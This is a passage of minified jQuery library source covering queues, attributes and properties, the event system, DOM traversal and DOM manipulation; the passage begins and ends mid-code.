e?(n=(n||"fx")+"queue",i=w._data(e,n),r&&(!i||w.isArray(r)?i=w._data(e,n,w.makeArray(r)):i.push(r)),i||[]):t},dequeue:function(e,t){t=t||"fx";var n=w.queue(e,t),r=n.length,i=n.shift(),s=w._queueHooks(e,t),o=function(){w.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete s.stop,i.call(e,o,s)),!r&&s&&s.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return w._data(e,n)||w._data(e,n,{empty:w.Callbacks("once memory").add(function(){w._removeData(e,t+"queue"),w._removeData(e,n)})})}}),w.fn.extend({queue:function(e,n){var r=2;return"string"!=typeof e&&(n=e,e="fx",r--),r>arguments.length?w.queue(this[0],e):n===t?this:this.each(function(){var t=w.queue(this,e,n);w._queueHooks(this,e),"fx"===e&&"inprogress"!==t[0]&&w.dequeue(this,e)})},dequeue:function(e){return this.each(function(){w.dequeue(this,e)})},delay:function(e,t){return e=w.fx?w.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,n){var r,i=1,s=w.Deferred(),o=this,u=this.length,a=function(){--i||s.resolveWith(o,[o])};"string"!=typeof e&&(n=e,e=t),e=e||"fx";while(u--)r=w._data(o[u],e+"queueHooks"),r&&r.empty&&(i++,r.empty.add(a));return a(),s.promise(n)}});var W,X,V=/[\t\r\n\f]/g,$=/\r/g,J=/^(?:input|select|textarea|button|object)$/i,K=/^(?:a|area)$/i,Q=/^(?:checked|selected)$/i,G=w.support.getSetAttribute,Y=w.support.input;w.fn.extend({attr:function(e,t){return w.access(this,w.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){w.removeAttr(this,e)})},prop:function(e,t){return w.access(this,w.prop,e,t,arguments.length>1)},removeProp:function(e){return e=w.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,s,o=0,u=this.length,a="string"==typeof e&&e;if(w.isFunction(e))return this.each(function(t){w(this).addClass(e.call(this,t,this.className))});if(a)for(t=(e||"").match(S)||[];u>o;o++)if(n=this[o],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(V," "):" ")){s=0;while(i=t[s++])0>r.indexOf(" "+i+" ")&&(r+=i+" ");n.className=w.trim(r)}return this},removeClass:function(e){var t,n,r,i,s,o=0,u=this.length,a=0===arguments.length||"string"==typeof e&&e;if(w.isFunction(e))return this.each(function(t){w(this).removeClass(e.call(this,t,this.className))});if(a)for(t=(e||"").match(S)||[];u>o;o++)if(n=this[o],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(V," "):"")){s=0;while(i=t[s++])while(r.indexOf(" "+i+" ")>=0)r=r.replace(" "+i+" "," ");n.className=e?w.trim(r):""}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof t&&"string"===n?t?this.addClass(e):this.removeClass(e):w.isFunction(e)?this.each(function(n){w(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if("string"===n){var t,r=0,s=w(this),o=e.match(S)||[];while(t=o[r++])s.hasClass(t)?s.removeClass(t):s.addClass(t)}else(n===i||"boolean"===n)&&(this.className&&w._data(this,"__className__",this.className),this.className=this.className||e===!1?"":w._data(this,"__className__")||"")})},hasClass:function(e){var t=" "+e+" ",n=0,r=this.length;for(;r>n;n++)if(1===this[n].nodeType&&(" "+this[n].className+" ").replace(V," ").indexOf(t)>=0)return!0;return!1},val:function(e){var n,r,i,s=this[0];{if(arguments.length)return i=w.isFunction(e),this.each(function(n){var s;1===this.nodeType&&(s=i?e.call(this,n,w(this).val()):e,null==s?s="":"number"==typeof s?s+="":w.isArray(s)&&(s=w.map(s,function(e){return null==e?"":e+""})),r=w.valHooks[this.type]||w.valHooks[this.nodeName.toLowerCase()],r&&"set"in r&&r.set(this,s,"value")!==t||(this.value=s))});if(s)return r=w.valHooks[s.type]||w.valHooks[s.nodeName.toLowerCase()],r&&"get"in r&&(n=r.get(s,"value"))!==t?n:(n=s.value,"string"==typeof n?n.replace($,""):null==n?"":n)}}}),w.extend({valHooks:{option:{get:function(e){var t=w.find.attr(e,"value");return null!=t?t:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,s="select-one"===e.type||0>i,o=s?null:[],u=s?i+1:r.length,a=0>i?u:s?i:0;for(;u>a;a++)if(n=r[a],!(!n.selected&&a!==i||(w.support.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&w.nodeName(n.parentNode,"optgroup"))){if(t=w(n).val(),s)return t;o.push(t)}return o},set:function(e,t){var n,r,i=e.options,s=w.makeArray(t),o=i.length;while(o--)r=i[o],(r.selected=w.inArray(w(r).val(),s)>=0)&&(n=!0);return n||(e.selectedIndex=-1),s}}},attr:function(e,n,r){var s,o,u=e.nodeType;if(e&&3!==u&&8!==u&&2!==u)return typeof e.getAttribute===i?w.prop(e,n,r):(1===u&&w.isXMLDoc(e)||(n=n.toLowerCase(),s=w.attrHooks[n]||(w.expr.match.bool.test(n)?X:W)),r===t?s&&"get"in s&&null!==(o=s.get(e,n))?o:(o=w.find.attr(e,n),null==o?t:o):null!==r?s&&"set"in s&&(o=s.set(e,r,n))!==t?o:(e.setAttribute(n,r+""),r):(w.removeAttr(e,n),t))},removeAttr:function(e,t){var n,r,i=0,s=t&&t.match(S);if(s&&1===e.nodeType)while(n=s[i++])r=w.propFix[n]||n,w.expr.match.bool.test(n)?Y&&G||!Q.test(n)?e[r]=!1:e[w.camelCase("default-"+n)]=e[r]=!1:w.attr(e,n,""),e.removeAttribute(G?n:r)},attrHooks:{type:{set:function(e,t){if(!w.support.radioValue&&"radio"===t&&w.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},propFix:{"for":"htmlFor","class":"className"},prop:function(e,n,r){var i,s,o,u=e.nodeType;if(e&&3!==u&&8!==u&&2!==u)return o=1!==u||!w.isXMLDoc(e),o&&(n=w.propFix[n]||n,s=w.propHooks[n]),r!==t?s&&"set"in s&&(i=s.set(e,r,n))!==t?i:e[n]=r:s&&"get"in s&&null!==(i=s.get(e,n))?i:e[n]},propHooks:{tabIndex:{get:function(e){var t=w.find.attr(e,"tabindex");return t?parseInt(t,10):J.test(e.nodeName)||K.test(e.nodeName)&&e.href?0:-1}}}}),X={set:function(e,t,n){return t===!1?w.removeAttr(e,n):Y&&G||!Q.test(n)?e.setAttribute(!G&&w.propFix[n]||n,n):e[w.camelCase("default-"+n)]=e[n]=!0,n}},w.each(w.expr.match.bool.source.match(/\w+/g),function(e,n){var r=w.expr.attrHandle[n]||w.find.attr;w.expr.attrHandle[n]=Y&&G||!Q.test(n)?function(e,n,i){var s=w.expr.attrHandle[n],o=i?t:(w.expr.attrHandle[n]=t)!=r(e,n,i)?n.toLowerCase():null;return w.expr.attrHandle[n]=s,o}:function(e,n,r){return r?t:e[w.camelCase("default-"+n)]?n.toLowerCase():null}}),Y&&G||(w.attrHooks.value={set:function(e,n,r){return w.nodeName(e,"input")?(e.defaultValue=n,t):W&&W.set(e,n,r)}}),G||(W={set:function(e,n,r){var i=e.getAttributeNode(r);return i||e.setAttributeNode(i=e.ownerDocument.createAttribute(r)),i.value=n+="","value"===r||n===e.getAttribute(r)?n:t}},w.expr.attrHandle.id=w.expr.attrHandle.name=w.expr.attrHandle.coords=function(e,n,r){var i;return r?t:(i=e.getAttributeNode(n))&&""!==i.value?i.value:null},w.valHooks.button={get:function(e,n){var r=e.getAttributeNode(n);return r&&r.specified?r.value:t},set:W.set},w.attrHooks.contenteditable={set:function(e,t,n){W.set(e,""===t?!1:t,n)}},w.each(["width","height"],function(e,n){w.attrHooks[n]={set:function(e,r){return""===r?(e.setAttribute(n,"auto"),r):t}}})),w.support.hrefNormalized||w.each(["href","src"],function(e,t){w.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),w.support.style||(w.attrHooks.style={get:function(e){return e.style.cssText||t},set:function(e,t){return e.style.cssText=t+""}}),w.support.optSelected||(w.propHooks.selected={get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}}),w.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){w.propFix[this.toLowerCase()]=this}),w.support.enctype||(w.propFix.enctype="encoding"),w.each(["radio","checkbox"],function(){w.valHooks[this]={set:function(e,n){return w.isArray(n)?e.checked=w.inArray(w(e).val(),n)>=0:t}},w.support.checkOn||(w.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Z=/^(?:input|select|textarea)$/i,et=/^key/,tt=/^(?:mouse|contextmenu)|click/,nt=/^(?:focusinfocus|focusoutblur)$/,rt=/^([^.]*)(?:\.(.+)|)$/;w.event={global:{},add:function(e,n,r,s,o){var u,a,f,l,c,h,p,d,v,m,g,y=w._data(e);if(y){r.handler&&(l=r,r=l.handler,o=l.selector),r.guid||(r.guid=w.guid++),(a=y.events)||(a=y.events={}),(h=y.handle)||(h=y.handle=function(e){return typeof w===i||e&&w.event.triggered===e.type?t:w.event.dispatch.apply(h.elem,arguments)},h.elem=e),n=(n||"").match(S)||[""],f=n.length;while(f--)u=rt.exec(n[f])||[],v=g=u[1],m=(u[2]||"").split(".").sort(),v&&(c=w.event.special[v]||{},v=(o?c.delegateType:c.bindType)||v,c=w.event.special[v]||{},p=w.extend({type:v,origType:g,data:s,handler:r,guid:r.guid,selector:o,needsContext:o&&w.expr.match.needsContext.test(o),namespace:m.join(".")},l),(d=a[v])||(d=a[v]=[],d.delegateCount=0,c.setup&&c.setup.call(e,s,m,h)!==!1||(e.addEventListener?e.addEventListener(v,h,!1):e.attachEvent&&e.attachEvent("on"+v,h))),c.add&&(c.add.call(e,p),p.handler.guid||(p.handler.guid=r.guid)),o?d.splice(d.delegateCount++,0,p):d.push(p),w.event.global[v]=!0);e=null}},remove:function(e,t,n,r,i){var s,o,u,a,f,l,c,h,p,d,v,m=w.hasData(e)&&w._data(e);if(m&&(l=m.events)){t=(t||"").match(S)||[""],f=t.length;while(f--)if(u=rt.exec(t[f])||[],p=v=u[1],d=(u[2]||"").split(".").sort(),p){c=w.event.special[p]||{},p=(r?c.delegateType:c.bindType)||p,h=l[p]||[],u=u[2]&&RegExp("(^|\\.)"+d.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=s=h.length;while(s--)o=h[s],!i&&v!==o.origType||n&&n.guid!==o.guid||u&&!u.test(o.namespace)||r&&r!==o.selector&&("**"!==r||!o.selector)||(h.splice(s,1),o.selector&&h.delegateCount--,c.remove&&c.remove.call(e,o));a&&!h.length&&(c.teardown&&c.teardown.call(e,d,m.handle)!==!1||w.removeEvent(e,p,m.handle),delete l[p])}else for(p in l)w.event.remove(e,p+t[f],n,r,!0);w.isEmptyObject(l)&&(delete m.handle,w._removeData(e,"events"))}},trigger:function(n,r,i,s){var u,a,f,l,c,h,p,d=[i||o],v=y.call(n,"type")?n.type:n,m=y.call(n,"namespace")?n.namespace.split("."):[];if(f=h=i=i||o,3!==i.nodeType&&8!==i.nodeType&&!nt.test(v+w.event.triggered)&&(v.indexOf(".")>=0&&(m=v.split("."),v=m.shift(),m.sort()),a=0>v.indexOf(":")&&"on"+v,n=n[w.expando]?n:new w.Event(v,"object"==typeof n&&n),n.isTrigger=s?2:3,n.namespace=m.join("."),n.namespace_re=n.namespace?RegExp("(^|\\.)"+m.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,n.result=t,n.target||(n.target=i),r=null==r?[n]:w.makeArray(r,[n]),c=w.event.special[v]||{},s||!c.trigger||c.trigger.apply(i,r)!==!1)){if(!s&&!c.noBubble&&!w.isWindow(i)){for(l=c.delegateType||v,nt.test(l+v)||(f=f.parentNode);f;f=f.parentNode)d.push(f),h=f;h===(i.ownerDocument||o)&&d.push(h.defaultView||h.parentWindow||e)}p=0;while((f=d[p++])&&!n.isPropagationStopped())n.type=p>1?l:c.bindType||v,u=(w._data(f,"events")||{})[n.type]&&w._data(f,"handle"),u&&u.apply(f,r),u=a&&f[a],u&&w.acceptData(f)&&u.apply&&u.apply(f,r)===!1&&n.preventDefault();if(n.type=v,!s&&!n.isDefaultPrevented()&&(!c._default||c._default.apply(d.pop(),r)===!1)&&w.acceptData(i)&&a&&i[v]&&!w.isWindow(i)){h=i[a],h&&(i[a]=null),w.event.triggered=v;try{i[v]()}catch(g){}w.event.triggered=t,h&&(i[a]=h)}return n.result}},dispatch:function(e){e=w.event.fix(e);var n,r,i,s,o,u=[],a=v.call(arguments),f=(w._data(this,"events")||{})[e.type]||[],l=w.event.special[e.type]||{};if(a[0]=e,e.delegateTarget=this,!l.preDispatch||l.preDispatch.call(this,e)!==!1){u=w.event.handlers.call(this,e,f),n=0;while((s=u[n++])&&!e.isPropagationStopped()){e.currentTarget=s.elem,o=0;while((i=s.handlers[o++])&&!e.isImmediatePropagationStopped())(!e.namespace_re||e.namespace_re.test(i.namespace))&&(e.handleObj=i,e.data=i.data,r=((w.event.special[i.origType]||{}).handle||i.handler).apply(s.elem,a),r!==t&&(e.result=r)===!1&&(e.preventDefault(),e.stopPropagation()))}return l.postDispatch&&l.postDispatch.call(this,e),e.result}},handlers:function(e,n){var r,i,s,o,u=[],a=n.delegateCount,f=e.target;if(a&&f.nodeType&&(!e.button||"click"!==e.type))for(;f!=this;f=f.parentNode||this)if(1===f.nodeType&&(f.disabled!==!0||"click"!==e.type)){for(s=[],o=0;a>o;o++)i=n[o],r=i.selector+" ",s[r]===t&&(s[r]=i.needsContext?w(r,this).index(f)>=0:w.find(r,this,null,[f]).length),s[r]&&s.push(i);s.length&&u.push({elem:f,handlers:s})}return n.length>a&&u.push({elem:this,handlers:n.slice(a)}),u},fix:function(e){if(e[w.expando])return e;var t,n,r,i=e.type,s=e,u=this.fixHooks[i];u||(this.fixHooks[i]=u=tt.test(i)?this.mouseHooks:et.test(i)?this.keyHooks:{}),r=u.props?this.props.concat(u.props):this.props,e=new w.Event(s),t=r.length;while(t--)n=r[t],e[n]=s[n];return e.target||(e.target=s.srcElement||o),3===e.target.nodeType&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,u.filter?u.filter(e,s):e},props:"altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return null==e.which&&(e.which=null!=t.charCode?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,n){var r,i,s,u=n.button,a=n.fromElement;return null==e.pageX&&null!=n.clientX&&(i=e.target.ownerDocument||o,s=i.documentElement,r=i.body,e.pageX=n.clientX+(s&&s.scrollLeft||r&&r.scrollLeft||0)-(s&&s.clientLeft||r&&r.clientLeft||0),e.pageY=n.clientY+(s&&s.scrollTop||r&&r.scrollTop||0)-(s&&s.clientTop||r&&r.clientTop||0)),!e.relatedTarget&&a&&(e.relatedTarget=a===e.target?n.toElement:a),e.which||u===t||(e.which=1&u?1:2&u?3:4&u?2:0),e}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==ot()&&this.focus)try{return this.focus(),!1}catch(e){}},delegateType:"focusin"},blur:{trigger:function(){return this===ot()&&this.blur?(this.blur(),!1):t},delegateType:"focusout"},click:{trigger:function(){return w.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):t},_default:function(e){return w.nodeName(e.target,"a")}},beforeunload:{postDispatch:function(e){e.result!==t&&(e.originalEvent.returnValue=e.result)}}},simulate:function(e,t,n,r){var i=w.extend(new w.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?w.event.trigger(i,null,t):w.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},w.removeEvent=o.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on"+t;e.detachEvent&&(typeof e[r]===i&&(e[r]=null),e.detachEvent(r,n))},w.Event=function(e,n){return this instanceof w.Event?(e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.returnValue===!1||e.getPreventDefault&&e.getPreventDefault()?it:st):this.type=e,n&&w.extend(this,n),this.timeStamp=e&&e.timeStamp||w.now(),this[w.expando]=!0,t):new w.Event(e,n)},w.Event.prototype={isDefaultPrevented:st,isPropagationStopped:st,isImmediatePropagationStopped:st,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=it,e&&(e.preventDefault?e.preventDefault():e.returnValue=!1)},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=it,e&&(e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0)},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=it,this.stopPropagation()}},w.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(e,t){w.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,s=e.handleObj;return(!i||i!==r&&!w.contains(r,i))&&(e.type=s.origType,n=s.handler.apply(this,arguments),e.type=t),n}}}),w.support.submitBubbles||(w.event.special.submit={setup:function(){return w.nodeName(this,"form")?!1:(w.event.add(this,"click._submit keypress._submit",function(e){var n=e.target,r=w.nodeName(n,"input")||w.nodeName(n,"button")?n.form:t;r&&!w._data(r,"submitBubbles")&&(w.event.add(r,"submit._submit",function(e){e._submit_bubble=!0}),w._data(r,"submitBubbles",!0))}),t)},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&w.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){return w.nodeName(this,"form")?!1:(w.event.remove(this,"._submit"),t)}}),w.support.changeBubbles||(w.event.special.change={setup:function(){return Z.test(this.nodeName)?(("checkbox"===this.type||"radio"===this.type)&&(w.event.add(this,"propertychange._change",function(e){"checked"===e.originalEvent.propertyName&&(this._just_changed=!0)}),w.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),w.event.simulate("change",this,e,!0)})),!1):(w.event.add(this,"beforeactivate._change",function(e){var t=e.target;Z.test(t.nodeName)&&!w._data(t,"changeBubbles")&&(w.event.add(t,"change._change",function(e){!this.parentNode||e.isSimulated||e.isTrigger||w.event.simulate("change",this.parentNode,e,!0)}),w._data(t,"changeBubbles",!0))}),t)},handle:function(e){var n=e.target;return this!==n||e.isSimulated||e.isTrigger||"radio"!==n.type&&"checkbox"!==n.type?e.handleObj.handler.apply(this,arguments):t},teardown:function(){return w.event.remove(this,"._change"),!Z.test(this.nodeName)}}),w.support.focusinBubbles||w.each({focus:"focusin",blur:"focusout"},function(e,t){var n=0,r=function(e){w.event.simulate(t,e.target,w.event.fix(e),!0)};w.event.special[t]={setup:function(){0===n++&&o.addEventListener(e,r,!0)},teardown:function(){0===--n&&o.removeEventListener(e,r,!0)}}}),w.fn.extend({on:function(e,n,r,i,s){var o,u;if("object"==typeof e){"string"!=typeof n&&(r=r||n,n=t);for(o in e)this.on(o,n,r,e[o],s);return this}if(null==r&&null==i?(i=n,r=n=t):null==i&&("string"==typeof n?(i=r,r=t):(i=r,r=n,n=t)),i===!1)i=st;else if(!i)return this;return 1===s&&(u=i,i=function(e){return w().off(e),u.apply(this,arguments)},i.guid=u.guid||(u.guid=w.guid++)),this.each(function(){w.event.add(this,e,i,r,n)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,n,r){var i,s;if(e&&e.preventDefault&&e.handleObj)return i=e.handleObj,w(e.delegateTarget).off(i.namespace?i.origType+"."+i.namespace:i.origType,i.selector,i.handler),this;if("object"==typeof e){for(s in e)this.off(s,n,e[s]);return this}return(n===!1||"function"==typeof n)&&(r=n,n=t),r===!1&&(r=st),this.each(function(){w.event.remove(this,e,r,n)})},trigger:function(e,t){return this.each(function(){w.event.trigger(e,t,this)})},triggerHandler:function(e,n){var r=this[0];return r?w.event.trigger(e,n,r,!0):t}});var ut=/^.[^:#\[\.,]*$/,at=/^(?:parents|prev(?:Until|All))/,ft=w.expr.match.needsContext,lt={children:!0,contents:!0,next:!0,prev:!0};w.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if("string"!=typeof e)return this.pushStack(w(e).filter(function(){for(t=0;i>t;t++)if(w.contains(r[t],this))return!0}));for(t=0;i>t;t++)w.find(e,r[t],n);return n=this.pushStack(i>1?w.unique(n):n),n.selector=this.selector?this.selector+" "+e:e,n},has:function(e){var t,n=w(e,this),r=n.length;return this.filter(function(){for(t=0;r>t;t++)if(w.contains(this,n[t]))return!0})},not:function(e){return this.pushStack(ht(this,e||[],!0))},filter:function(e){return this.pushStack(ht(this,e||[],!1))},is:function(e){return!!ht(this,"string"==typeof e&&ft.test(e)?w(e):e||[],!1).length},closest:function(e,t){var n,r=0,i=this.length,s=[],o=ft.test(e)||"string"!=typeof e?w(e,t||this.context):0;for(;i>r;r++)for(n=this[r];n&&n!==t;n=n.parentNode)if(11>n.nodeType&&(o?o.index(n)>-1:1===n.nodeType&&w.find.matchesSelector(n,e))){n=s.push(n);break}return this.pushStack(s.length>1?w.unique(s):s)},index:function(e){return e?"string"==typeof e?w.inArray(this[0],w(e)):w.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){var n="string"==typeof e?w(e,t):w.makeArray(e&&e.nodeType?[e]:e),r=w.merge(this.get(),n);return this.pushStack(w.unique(r))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}});w.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return w.dir(e,"parentNode")},parentsUntil:function(e,t,n){return w.dir(e,"parentNode",n)},next:function(e){return ct(e,"nextSibling")},prev:function(e){return ct(e,"previousSibling")},nextAll:function(e){return w.dir(e,"nextSibling")},prevAll:function(e){return w.dir(e,"previousSibling")},nextUntil:function(e,t,n){return w.dir(e,"nextSibling",n)},prevUntil:function(e,t,n){return w.dir(e,"previousSibling",n)},siblings:function(e){return w.sibling((e.parentNode||{}).firstChild,e)},children:function(e){return w.sibling(e.firstChild)},contents:function(e){return w.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:w.merge([],e.childNodes)}},function(e,t){w.fn[e]=function(n,r){var i=w.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=w.filter(r,i)),this.length>1&&(lt[e]||(i=w.unique(i)),at.test(e)&&(i=i.reverse())),this.pushStack(i)}}),w.extend({filter:function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?w.find.matchesSelector(r,e)?[r]:[]:w.find.matches(e,w.grep(t,function(e){return 1===e.nodeType}))},dir:function(e,n,r){var i=[],s=e[n];while(s&&9!==s.nodeType&&(r===t||1!==s.nodeType||!w(s).is(r)))1===s.nodeType&&i.push(s),s=s[n];return i},sibling:function(e,t){var n=[];for(;e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n}});var dt="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",vt=/ jQuery\d+="(?:null|\d+)"/g,mt=RegExp("<(?:"+dt+")[\\s/>]","i"),gt=/^\s+/,yt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,bt=/<([\w:]+)/,wt=/<tbody/i,Et=/<|&#?\w+;/,St=/<(?:script|style|link)/i,xt=/^(?:checkbox|radio)$/i,Tt=/checked\s*(?:[^=]|=\s*.checked.)/i,Nt=/^$|\/(?:java|ecma)script/i,Ct=/^true\/(.*)/,kt=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,Lt={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:w.support.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]},At=pt(o),Ot=At.appendChild(o.createElement("div"));Lt.optgroup=Lt.option,Lt.tbody=Lt.tfoot=Lt.colgroup=Lt.caption=Lt.thead,Lt.th=Lt.td,w.fn.extend({text:function(e){return w.access(this,function(e){return e===t?w.text(this):this.empty().append((this[0]&&this[0].ownerDocument||o).createTextNode(e))},null,e,arguments.length)},append:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Mt(this,e);t.appendChild(e)}})},prepend:function(){return this.domManip(arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Mt(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return this.domManip(arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},remove:function(e,t){var n,r=e?w.filter(e,this):this,i=0;for(;null!=(n=r[i]);i++)t||1!==n.nodeType||w.cleanData(jt(n)),n.parentNode&&(t&&w.contains(n.ownerDocument,n)&&Pt(jt(n,"script")),n.parentNode.removeChild(n));return this},empty:function(){var e,t=0;for(;null!=(e=this[t]);t++){1===e.nodeType&&w.cleanData(jt(e,!1));while(e.firstChild)e.removeChild(e.firstChild);e.options&&w.nodeName(e,"select")&&(e.options.length=0)}return this},clone:function(e,t){return e=null==e?!1:e,t=null==t?e:t,this.map(function(){return w.clone(this,e,t)})},html:function(e){return w.access(this,function(e){var n=this[0]||{},r=0,i=this.length;if(e===t)return 1===n.nodeType?n.innerHTML.replace(vt,""):t;if(!("string"!=typeof e||St.test(e)||!w.support.htmlSerialize&&mt.test(e)||!w.support.leadingWhitespace&&gt.test(e)||Lt[(bt.exec(e)||["",""])[1].toLowerCase()])){e=e.replace(yt,"<$1></$2>");try{for(;i>r;r++)n=this[r]||{},1===n.nodeType&&(w.cleanData(jt(n,!1)),n.innerHTML=e);n=0}catch(s){}}n&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=w.map(this,function(e){return[e.nextSibling,e.parentNode]}),t=0;return this.domManip(arguments,function(n){var r=e[t++],i=e[t++];i&&(r&&r.parentNode!==i&&(r=this.nextSibling),w(this).remove(),i.insertBefore(n,r))},!0),t?this:this.remove()},detach:function(e){return this.remove(e,!0)},domManip:function(e,t,n){e=p.apply([],e);var r,i,s,o,u,a,f=0,l=this.length,c=this,h=l-1,d=e[0],v=w.isFunction(d);if(v||!(1>=l||"string"!=typeof d||w.support.checkClone)&&Tt.test(d))return this.each(function(r){var i=c.eq(r);v&&(e[0]=d.call(this,r,i.html())),i.domManip(e,t,n)});if(l&&(a=w.buildFragment(e,this[0].ownerDocument,!1,!n&&this),r=a.firstChild,1===a.childNodes.length&&(a=r),r)){for(o=w.map(jt(a,"script"),_t),s=o.length;l>f;f++)i=a,f!==h&&(i=w.clone(i,!0,!0),s&&w.merge(o,jt(i,"script"))),t.call(this[f],i,f);if(s)for(u=o[o.length-1].ownerDocument,w.map(o,Dt),f=0;s>f;f++)i=o[f],Nt.test(i.type||"")&&!w._data(i,"globalEval")&&w.contains(u,i)&&(i.src?w._evalUrl(i.src):w.globalEval((i.text||i.textContent||i.innerHTML||"").replace(kt,"")));a=r=null}return this}});w.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){w.fn[e]=function(e){var n,r=0,i=[],s=w(e),o=s.length-1;for(;o>=r;r++)n=r===o?this:this.clone(!0),w(s[r])[t](n),d.apply(i,n.get());return this.pushStack(i)}});w.extend({clone:function(e,t,n){var r,i,s,o,u,a=w.contains(e.ownerDocument,e);if(w.support.html5Clone||w.isXMLDoc(e)||!mt.test("<"+e.nodeName+">")?s=e.cloneNode(!0):(Ot.innerHTML=e.outerHTML,Ot.removeChild(s=Ot.firstChild)),!(w.support.noCloneEvent&&w.support.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||w.isXMLDoc(e)))for(r=jt(s),u=jt(e),o=0;null!=(i=u[o]);++o)r[o]&&Bt(i,r[o]);if(t)if(n)for(u=u||jt(e),r=r||jt(s),o=0;null!=(i=u[o]);o++)Ht(i,r[o]);else Ht(e,s);return r=jt(s,"script"),r.length>0&&Pt(r,!a&&jt(e,"script")),r=u=i=null,s},buildFragment:function(e,t,n,r){var i,s,o,u,a,f,l,c=e.length,h=pt(t),p=[],d=0;for(;c>d;d++)if(s=e[d],s||0===s)if("object"===w.type(s))w.merge(p,s.nodeType?[s]:s);else if(Et.test(s)){u=u||h.appendChild(t.createElement("div")),a=(bt.exec(s)||["",""])[1].toLowerCase(),l=Lt[a]||Lt._default,u.innerHTML=l[1]+s.replace(yt,"<$1></$2>")+l[2],i=l[0];while(i--)u=u.lastChild;if(!w.support.leadingWhitespace&&gt.test(s)&&p.push(t.createTextNode(gt.exec(s)[0])),!w.support.tbody){s="table"!==a||wt.test(s)?"<table>"!==l[1]||wt.test(s)?0:u:u.firstChild,i=s&&s.childNodes.length;while(i--)w.nodeName(f=s.childNodes[i],"tbody")&&!f.childNodes.length&&s.removeChild(f)}w.merge(p,u.childNodes),u.textContent="";while(u.firstChild)u.removeChild(u.firstChild);u=h.lastChild}else 